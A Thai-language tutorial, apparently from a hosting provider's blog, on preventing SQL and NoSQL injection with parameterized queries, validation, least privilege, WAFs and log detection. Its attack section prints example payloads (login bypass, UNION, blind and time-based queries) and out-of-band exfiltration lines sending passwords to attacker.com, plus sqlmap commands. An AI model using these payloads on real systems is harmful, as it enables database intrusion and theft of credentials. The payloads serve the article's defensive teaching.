SQL Injection Prevention — ป้องกันการโจมตีฐานข้อมูลผ่าน Application

SQL Injection เป็นช่องโหว่ด้านความปลอดภัยที่อันตรายที่สุดอย่างหนึ่งในแอปพลิเคชันที่เชื่อมต่อกับฐานข้อมูล ผู้โจมตีสามารถแทรกคำสั่ง SQL ที่เป็นอันตรายเข้าไปในช่องกรอกข้อมูลของเว็บไซต์ แล้วทำให้ฐานข้อมูลทำงานตามคำสั่งนั้น ตั้งแต่ดึงข้อมูลที่ไม่ควรเห็น แก้ไขข้อมูล ไปจนถึงลบตารางทั้งหมด

บทความนี้อธิบายกลไกของ SQL Injection ตั้งแต่พื้นฐาน แสดงตัวอย่างการโจมตีแต่ละประเภท พร้อมวิธีป้องกันที่ถูกต้องทั้งฝั่ง Application Code และฝั่ง Database Server ครอบคลุม MySQL/MariaDB, PostgreSQL และ MongoDB (NoSQL Injection)

SQL Injection คืออะไร

SQL Injection เกิดขึ้นเมื่อแอปพลิเคชันนำข้อมูลจากผู้ใช้ (เช่น ช่อง Login, ช่องค้นหา, URL Parameter) ไปต่อเป็นส่วนหนึ่งของคำสั่ง SQL โดยไม่ผ่านการกรองหรือ Escape อย่างถูกต้อง ทำให้ผู้โจมตีสามารถเปลี่ยนโครงสร้างของ Query ได้

# ตัวอย่างโค้ดที่มีช่องโหว่ (Python)
username = request.form['username']
password = request.form['password']

# ❌ ต่อ String ตรง ๆ — เสี่ยง SQL Injection
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(query)

# ถ้าผู้โจมตีกรอก username เป็น: admin' --
# Query จะกลายเป็น:
# SELECT * FROM users WHERE username = 'admin' --' AND password = ''
# เครื่องหมาย -- ทำให้ส่วนตรวจ password ถูกมองเป็น comment
# ผลลัพธ์: เข้าสู่ระบบเป็น admin ได้โดยไม่ต้องใส่รหัสผ่าน

ประเภทของ SQL Injection

SQL Injection แบ่งออกเป็นหลายประเภทตามวิธีที่ผู้โจมตีได้รับข้อมูลกลับ แต่ละประเภทมีความอันตรายและวิธีตรวจจับต่างกัน

In-Band SQL Injection (Classic)

ผู้โจมตีส่ง Payload และได้รับผลลัพธ์ผ่านช่องทางเดียวกัน เช่น หน้าเว็บแสดงข้อมูลที่ไม่ควรแสดง เป็นประเภทที่พบบ่อยและง่ายที่สุดในการโจมตี

# === UNION-based Injection ===
# ผู้โจมตีใช้ UNION SELECT เพื่อดึงข้อมูลจากตารางอื่น

# URL ปกติ: /products?id=1
# Query ปกติ: SELECT name, price FROM products WHERE id = 1

# URL โจมตี: /products?id=1 UNION SELECT username, password FROM users--
# Query กลายเป็น:
# SELECT name, price FROM products WHERE id = 1
# UNION SELECT username, password FROM users--
# ผลลัพธ์: เห็น username และ password ของ User ทุกคน

# === Error-based Injection ===
# ใช้ Error Message ของฐานข้อมูลเพื่อดึงข้อมูล

# Payload สำหรับ MySQL:
# ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--
# Error: XPATH syntax error: '~8.0.36~'
# ผู้โจมตีเห็นเวอร์ชัน MySQL จาก Error Message

Blind SQL Injection

ผู้โจมตีไม่เห็นผลลัพธ์โดยตรง แต่สังเกตจากพฤติกรรมของแอปพลิเคชัน เช่น หน้าเว็บแสดงผลต่างกันเมื่อเงื่อนไขเป็นจริงหรือเท็จ หรือเวลาตอบกลับต่างกัน

# === Boolean-based Blind ===
# ผู้โจมตีถามคำถาม True/False ทีละคำถาม

# ถ้า True: หน้าเว็บแสดงข้อมูลปกติ
# /products?id=1 AND 1=1--     → แสดงสินค้า (True)
# /products?id=1 AND 1=2--     → ไม่แสดง (False)

# ดึงชื่อตารางทีละตัวอักษร:
# /products?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)='u'--
# ถ้าแสดงสินค้า = ตัวอักษรแรกคือ 'u' (users)

# === Time-based Blind ===
# ใช้ SLEEP() เพื่อวัดเวลาตอบกลับ

# /products?id=1 AND IF(1=1, SLEEP(5), 0)--
# ถ้าเว็บตอบช้า 5 วินาที = เงื่อนไขเป็น True

# /products?id=1 AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
# ถ้าช้า 5 วินาที = ชื่อ Database ขึ้นต้นด้วย 'm'

Out-of-Band SQL Injection

ผู้โจมตีใช้ช่องทางอื่นในการรับข้อมูล เช่น DNS Request หรือ HTTP Request ไปยังเซิร์ฟเวอร์ที่ตนควบคุม ใช้ได้เมื่อฐานข้อมูลมีสิทธิ์เข้าถึงเครือข่ายภายนอก

# MySQL — ส่งข้อมูลผ่าน DNS (ต้องมีสิทธิ์ FILE)
# ' UNION SELECT LOAD_FILE(CONCAT('\\\\',
#   (SELECT password FROM users WHERE username='admin'),
#   '.attacker.com\\share'))--

# PostgreSQL — ใช้ COPY หรือ dblink
# '; COPY (SELECT password FROM users) TO PROGRAM 'curl http://attacker.com/?data='||password;--

# หมายเหตุ: Out-of-Band ต้องการ Privilege สูง
# ป้องกันได้โดยจำกัด Network Access ของ Database Server

วิธีป้องกัน — Parameterized Query

Parameterized Query (หรือ Prepared Statement) เป็นวิธีป้องกันที่ดีที่สุดและเป็นมาตรฐาน โดยแยกส่วนโครงสร้าง SQL ออกจากข้อมูลที่ผู้ใช้กรอก ทำให้ฐานข้อมูลไม่มีทางตีความข้อมูลเป็นคำสั่ง SQL ได้

Python

# === Python + MySQL (mysql-connector-python) ===
import mysql.connector

conn = mysql.connector.connect(host='localhost', user='app', password='pass', database='mydb')
cursor = conn.cursor()

# ✅ Parameterized Query — ปลอดภัย
username = request.form['username']
password = request.form['password']
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)
user = cursor.fetchone()

# === Python + PostgreSQL (psycopg2) ===
import psycopg2

conn = psycopg2.connect(dbname='mydb', user='app', password='pass')
cursor = conn.cursor()

# ✅ Parameterized Query
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# === Python + SQLAlchemy ORM ===
from sqlalchemy import text

# ✅ ใช้ text() กับ bind parameters
result = db.execute(
    text("SELECT * FROM users WHERE username = :username AND password = :password"),
    {"username": username, "password": password}
)

# ✅ ORM style (ปลอดภัยโดยอัตโนมัติ)
user = session.query(User).filter_by(username=username, password=password).first()

Node.js

# === Node.js + MySQL (mysql2) ===
const mysql = require('mysql2/promise');
const conn = await mysql.createConnection({host: 'localhost', user: 'app', database: 'mydb'});

// ✅ Parameterized Query
const [rows] = await conn.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

# === Node.js + PostgreSQL (pg) ===
const { Pool } = require('pg');
const pool = new Pool({connectionString: 'postgresql://app:pass@localhost/mydb'});

// ✅ Parameterized Query ($1, $2 syntax)
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1 AND password = $2',
  [username, password]
);

# === Node.js + Prisma ORM ===
// ✅ ORM ปลอดภัยโดยอัตโนมัติ
const user = await prisma.user.findFirst({
  where: { username: username, password: password }
});

// ⚠️ ระวังเมื่อใช้ Raw Query
// ✅ ถูก: ใช้ Prisma.$queryRaw กับ template literal
const users = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`;
// ❌ ผิด: ต่อ String
const users = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`);

PHP

# === PHP + PDO ===
$pdo = new PDO('mysql:host=localhost;dbname=mydb', 'app', 'pass');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// ❌ ผิด — ต่อ String
$stmt = $pdo->query("SELECT * FROM users WHERE username = '$username'");

// ✅ ถูก — Prepared Statement (Named Parameters)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

// ✅ ถูก — Prepared Statement (Positional Parameters)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

# === PHP + MySQLi ===
$mysqli = new mysqli('localhost', 'app', 'pass', 'mydb');

// ✅ Prepared Statement
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

Go

// === Go + database/sql ===
import "database/sql"

db, err := sql.Open("mysql", "app:pass@/mydb")

// ❌ ผิด — fmt.Sprintf
query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s'", username)
rows, err := db.Query(query)

// ✅ ถูก — Parameterized Query
row := db.QueryRow(
    "SELECT id, username FROM users WHERE username = ? AND password = ?",
    username, password,
)

// PostgreSQL ใช้ $1, $2
row := db.QueryRow(
    "SELECT id, username FROM users WHERE username = $1 AND password = $2",
    username, password,
)

วิธีป้องกันเพิ่มเติม — Input Validation

นอกจาก Parameterized Query แล้ว การตรวจสอบข้อมูลขาเข้า (Input Validation) เป็นชั้นป้องกันเพิ่มเติมที่ช่วยกรองข้อมูลที่ไม่ถูกต้องออกก่อนส่งไปยังฐานข้อมูล ควรใช้ทั้งสองวิธีควบคู่กัน ไม่ควรพึ่ง Input Validation เพียงอย่างเดียว

# === Allowlist Validation ===
# ตรวจสอบว่าข้อมูลตรงกับ Pattern ที่คาดไว้

# Python — ตรวจ email
import re
email = request.form['email']
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
    return "Invalid email format", 400

# Python — ตรวจ ID (ต้องเป็นตัวเลข)
product_id = request.args.get('id')
if not product_id.isdigit():
    return "Invalid product ID", 400
product_id = int(product_id)

# Python — Allowlist สำหรับ ORDER BY
allowed_columns = ['name', 'price', 'created_at']
sort_by = request.args.get('sort', 'name')
if sort_by not in allowed_columns:
    sort_by = 'name'
# ใช้ sort_by ใน Query ได้อย่างปลอดภัย (เพราะมาจาก Allowlist)

# === ห้ามใช้ Blocklist ===
# ❌ ผิด — พยายามกรองคำอันตรายออก (Blocklist)
# ผู้โจมตีหลบได้เสมอ เช่น ใช้ตัวพิมพ์เล็ก-ใหญ่ผสม หรือ Encoding
username = username.replace("'", "").replace("--", "").replace(";", "")
# ยังโจมตีได้ด้วยวิธีอื่น เช่น CHAR() function

ป้องกันฝั่ง Database Server

แม้การป้องกันหลักจะอยู่ที่ Application Code แต่ฝั่ง Database Server ก็มีมาตรการที่ช่วยลดผลกระทบเมื่อ SQL Injection สำเร็จ ทำให้ผู้โจมตีทำอะไรได้น้อยลง

Least Privilege — จำกัดสิทธิ์ขั้นต่ำ

# MySQL — สร้าง User สำหรับ Application ที่มีสิทธิ์จำกัด
CREATE USER 'webapp'@'10.0.0.%' IDENTIFIED BY 'SecureP@ss2026!';

# ให้เฉพาะ CRUD — ห้าม DROP, ALTER, GRANT, FILE, SUPER
GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'webapp'@'10.0.0.%';

# ถ้า SQL Injection สำเร็จ ผู้โจมตีทำได้แค่:
# - อ่านข้อมูลในตาราง (SELECT)
# - แก้ไขข้อมูล (INSERT/UPDATE/DELETE)
# แต่ทำไม่ได้:
# - DROP TABLE (ลบตาราง)
# - อ่านไฟล์ระบบ (LOAD_FILE)
# - สร้าง User ใหม่ (CREATE USER)
# - เข้าถึง Database อื่น

# PostgreSQL — ใช้ Role-based Access
CREATE ROLE webapp_role;
GRANT CONNECT ON DATABASE mydb TO webapp_role;
GRANT USAGE ON SCHEMA public TO webapp_role;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO webapp_role;

CREATE USER webapp WITH PASSWORD 'SecureP@ss2026!';
GRANT webapp_role TO webapp;

ปิดฟีเจอร์อันตราย

# MySQL — ปิด LOCAL INFILE (ป้องกันอ่านไฟล์ผ่าน SQL Injection)
# my.cnf
[mysqld]
local-infile = 0

# MySQL — ปิด SHOW DATABASES สำหรับ App User
REVOKE SHOW DATABASES ON *.* FROM 'webapp'@'10.0.0.%';

# PostgreSQL — ปิด Superuser Functions
# ตรวจสอบว่า App User ไม่ได้เป็น Superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'webapp';
# usesuper ต้องเป็น false

# PostgreSQL — จำกัด Schema Access
REVOKE CREATE ON SCHEMA public FROM webapp;
REVOKE ALL ON DATABASE mydb FROM PUBLIC;

ซ่อน Error Message

# ❌ ผิด — แสดง Database Error ให้ผู้ใช้เห็น
# Error: You have an error in your SQL syntax; ... near '' at line 1
# ข้อมูลนี้ช่วยผู้โจมตีเข้าใจโครงสร้าง Query

# ✅ ถูก — แสดง Generic Error Message
# "เกิดข้อผิดพลาด กรุณาลองใหม่อีกครั้ง"

# Python Flask
@app.errorhandler(500)
def internal_error(error):
    app.logger.error(f"Database error: {error}")  # Log จริงเก็บไว้ดู
    return "เกิดข้อผิดพลาด กรุณาลองใหม่อีกครั้ง", 500

# PHP
ini_set('display_errors', 0);       // ปิดแสดง Error ในหน้าเว็บ
ini_set('log_errors', 1);           // เปิด Log Error ไว้ในไฟล์
ini_set('error_log', '/var/log/php_errors.log');

# Node.js Express
app.use((err, req, res, next) => {
    console.error('Database error:', err.message);  // Log เก็บไว้
    res.status(500).json({ error: 'Internal server error' });  // ไม่เปิดเผยรายละเอียด
});

NoSQL Injection — MongoDB

MongoDB ไม่ใช้ SQL แต่ก็มีช่องโหว่ที่คล้ายกัน เรียกว่า NoSQL Injection เกิดเมื่อผู้โจมตีส่ง Object แทน String เข้ามาใน Query Condition ทำให้เงื่อนไขเปลี่ยนไป

# === NoSQL Injection ใน MongoDB ===

# ตัวอย่าง Node.js + Express ที่มีช่องโหว่
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    // ❌ ใช้ค่าจาก req.body ตรง ๆ
    const user = await db.collection('users').findOne({
        username: username,
        password: password
    });
});

# ผู้โจมตีส่ง JSON:
# { "username": "admin", "password": { "$ne": "" } }
# เงื่อนไข password: { $ne: "" } หมายถึง "password ไม่เท่ากับ String ว่าง"
# ซึ่งเป็นจริงเสมอ → เข้าสู่ระบบเป็น admin ได้

# === ป้องกัน NoSQL Injection ===

# ✅ วิธีที่ 1: ตรวจสอบ Type ของ Input
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    // ตรวจว่าเป็น String เท่านั้น
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.status(400).json({ error: 'Invalid input' });
    }
    const user = await db.collection('users').findOne({
        username: username,
        password: password
    });
});

# ✅ วิธีที่ 2: ใช้ express-mongo-sanitize
# npm install express-mongo-sanitize
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize());
# ลบ $ และ . ออกจาก req.body, req.query, req.params อัตโนมัติ

# ✅ วิธีที่ 3: ใช้ Schema Validation (Mongoose)
const userSchema = new mongoose.Schema({
    username: { type: String, required: true },
    password: { type: String, required: true }
});
# Mongoose จะ Cast ค่าเป็น String อัตโนมัติ ป้องกัน Object Injection

Stored Procedure สำหรับป้องกัน

Stored Procedure สามารถช่วยป้องกัน SQL Injection ได้ในบางสถานการณ์ เพราะแยก SQL Logic ออกจาก Application Code แต่ต้องเขียนให้ถูกต้อง ถ้าใช้ Dynamic SQL ภายใน Stored Procedure ก็ยังเสี่ยงได้เหมือนเดิม

# === MySQL — Stored Procedure ที่ปลอดภัย ===
DELIMITER //
CREATE PROCEDURE sp_get_user(IN p_username VARCHAR(255), IN p_password VARCHAR(255))
BEGIN
    -- Parameter ถูกจัดการโดย MySQL โดยอัตโนมัติ
    SELECT id, username, email
    FROM users
    WHERE username = p_username AND password = p_password;
END //
DELIMITER ;

-- เรียกใช้
CALL sp_get_user('admin', 'password123');

# === Stored Procedure ที่ยังเสี่ยง ===
DELIMITER //
CREATE PROCEDURE sp_search_unsafe(IN p_keyword VARCHAR(255))
BEGIN
    -- ❌ ใช้ Dynamic SQL ข้างใน — ยังเสี่ยง!
    SET @sql = CONCAT('SELECT * FROM products WHERE name LIKE ''%', p_keyword, '%''');
    PREPARE stmt FROM @sql;
    EXECUTE stmt;
    DEALLOCATE PREPARE stmt;
END //
DELIMITER ;

# === Stored Procedure ที่ปลอดภัยกับ Dynamic SQL ===
DELIMITER //
CREATE PROCEDURE sp_search_safe(IN p_keyword VARCHAR(255))
BEGIN
    -- ✅ ใช้ PREPARE กับ Parameter
    SET @sql = 'SELECT * FROM products WHERE name LIKE CONCAT(''%'', ?, ''%'')';
    PREPARE stmt FROM @sql;
    SET @keyword = p_keyword;
    EXECUTE stmt USING @keyword;
    DEALLOCATE PREPARE stmt;
END //
DELIMITER ;

Web Application Firewall (WAF)

WAF เป็นชั้นป้องกันเพิ่มเติมที่คอยตรวจจับ Request ที่มี Pattern ของ SQL Injection แล้วบล็อกไว้ก่อนเข้าถึง Application ไม่ควรพึ่ง WAF เป็นวิธีป้องกันหลัก เพราะผู้โจมตีสามารถหลบ WAF ได้ แต่ช่วยเป็นชั้นป้องกันเสริมที่ดี

# === ModSecurity (WAF สำหรับ Apache/Nginx) ===
# ติดตั้ง ModSecurity กับ OWASP Core Rule Set (CRS)
sudo apt install libapache2-mod-security2

# เปิดใช้ OWASP CRS
sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

# แก้ไขเป็น On (จาก DetectionOnly)
# SecRuleEngine On

# ตรวจสอบ Log เมื่อมีการบล็อก
sudo tail -f /var/log/apache2/modsec_audit.log

# === Nginx + ModSecurity ===
# nginx.conf
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsecurity/main.conf;

# === Cloudflare WAF ===
# ถ้าใช้ Cloudflare DNS สามารถเปิด WAF ได้จาก Dashboard
# Security → WAF → Managed Rules → เปิด OWASP Rules

ตรวจจับ SQL Injection จาก Log

การตรวจจับ SQL Injection จาก Log ช่วยให้รู้ว่ามีผู้พยายามโจมตีหรือไม่ และสามารถตั้ง Alert อัตโนมัติได้

# === ค้นหา Pattern SQL Injection จาก Access Log ===
# Pattern ที่น่าสงสัย
sudo grep -iE "(union.*select|or.*1.*=.*1|and.*1.*=.*1|drop.*table|insert.*into|delete.*from|sleep\(|benchmark\(|char\(|concat\(|load_file)" /var/log/apache2/access.log

# === ค้นหาจาก MySQL General Log ===
sudo grep -iE "(union.*select|information_schema|sleep\(|benchmark\()" /var/log/mysql/general.log

# === Script ตรวจจับอัตโนมัติ ===
#!/bin/bash
# detect_sqli.sh
LOG="/var/log/apache2/access.log"
ALERT_FILE="/var/log/sqli_alerts.log"

PATTERNS="union.*select|or.*1=1|and.*1=1|drop.*table|sleep\(|benchmark\(|char\(|0x[0-9a-f]{4}"

HITS=$(grep -icE "$PATTERNS" "$LOG")

if [ "$HITS" -gt 0 ]; then
    echo "[$(date)] ⚠️ พบ SQL Injection attempt: $HITS ครั้ง" >> "$ALERT_FILE"
    # ส่ง Alert (เช่น email, Slack webhook)
    # curl -X POST -d "{\"text\": \"SQL Injection detected: $HITS attempts\"}" https://hooks.slack.com/services/xxx
fi

# ตั้ง Cron ทุก 5 นาที
# */5 * * * * /usr/local/bin/detect_sqli.sh

เครื่องมือทดสอบ SQL Injection

การทดสอบระบบตัวเองก่อนที่จะถูกโจมตีเป็นสิ่งสำคัญ มีเครื่องมือที่ช่วยทดสอบ SQL Injection ได้โดยอัตโนมัติ ควรใช้เฉพาะกับระบบที่ได้รับอนุญาตเท่านั้น

# === SQLMap — เครื่องมือทดสอบ SQL Injection อัตโนมัติ ===
# ติดตั้ง
sudo apt install sqlmap

# ทดสอบ URL
sqlmap -u "http://localhost/products?id=1" --batch --dbs

# ทดสอบ POST Request
sqlmap -u "http://localhost/login" --data="username=admin&password=test" --batch

# ตัวเลือกสำคัญ:
# --dbs        — แสดงรายชื่อ Database
# --tables     — แสดงรายชื่อตาราง
# --dump       — ดึงข้อมูลจากตาราง
# --batch      — ตอบ Yes อัตโนมัติ
# --level=5    — ทดสอบละเอียดสุด
# --risk=3     — ทดสอบ Payload อันตราย (ใช้เฉพาะ Lab)

# ⚠️ ห้ามใช้กับระบบที่ไม่ได้รับอนุญาต — ผิดกฎหมาย

สรุป

SQL Injection ป้องกันได้อย่างมีประสิทธิภาพด้วยการใช้ Parameterized Query ทุกครั้งที่เขียน SQL ไม่ว่าจะใช้ภาษาอะไรก็ตาม ควรใช้ร่วมกับ Input Validation แบบ Allowlist การจำกัดสิทธิ์ของ Database User ตามหลัก Least Privilege การซ่อน Error Message จากผู้ใช้ และ WAF เป็นชั้นป้องกันเสริม สำหรับ MongoDB ต้องระวัง NoSQL Injection ด้วยการตรวจสอบ Type ของ Input และใช้ Library ที่ Sanitize ข้อมูลให้อัตโนมัติ สิ่งสำคัญคือต้องทดสอบระบบเป็นประจำด้วยเครื่องมือเช่น SQLMap เพื่อหาช่องโหว่ก่อนที่ผู้โจมตีจะเจอ

แนะนำบริการ DE

การป้องกัน SQL Injection ต้องการเซิร์ฟเวอร์ที่ตั้งค่าได้อย่างอิสระ ทั้ง Firewall Rules, Database Privilege, WAF Configuration และ Log Monitoring Cloud VPS ของ DE ให้ Root Access เต็มรูปแบบสำหรับติดตั้ง ModSecurity, ตั้งค่า MySQL/PostgreSQL อย่างละเอียด และจัดการ Security ได้ทุกชั้น

สำหรับเว็บไซต์ที่ไม่ต้องการจัดการเซิร์ฟเวอร์เอง Cloud Hosting ของ DE มี WAF และ Security ระดับพื้นฐานที่ตั้งค่ามาให้พร้อมใช้งาน เหมาะกับโปรเจกต์ที่ต้องการความสะดวก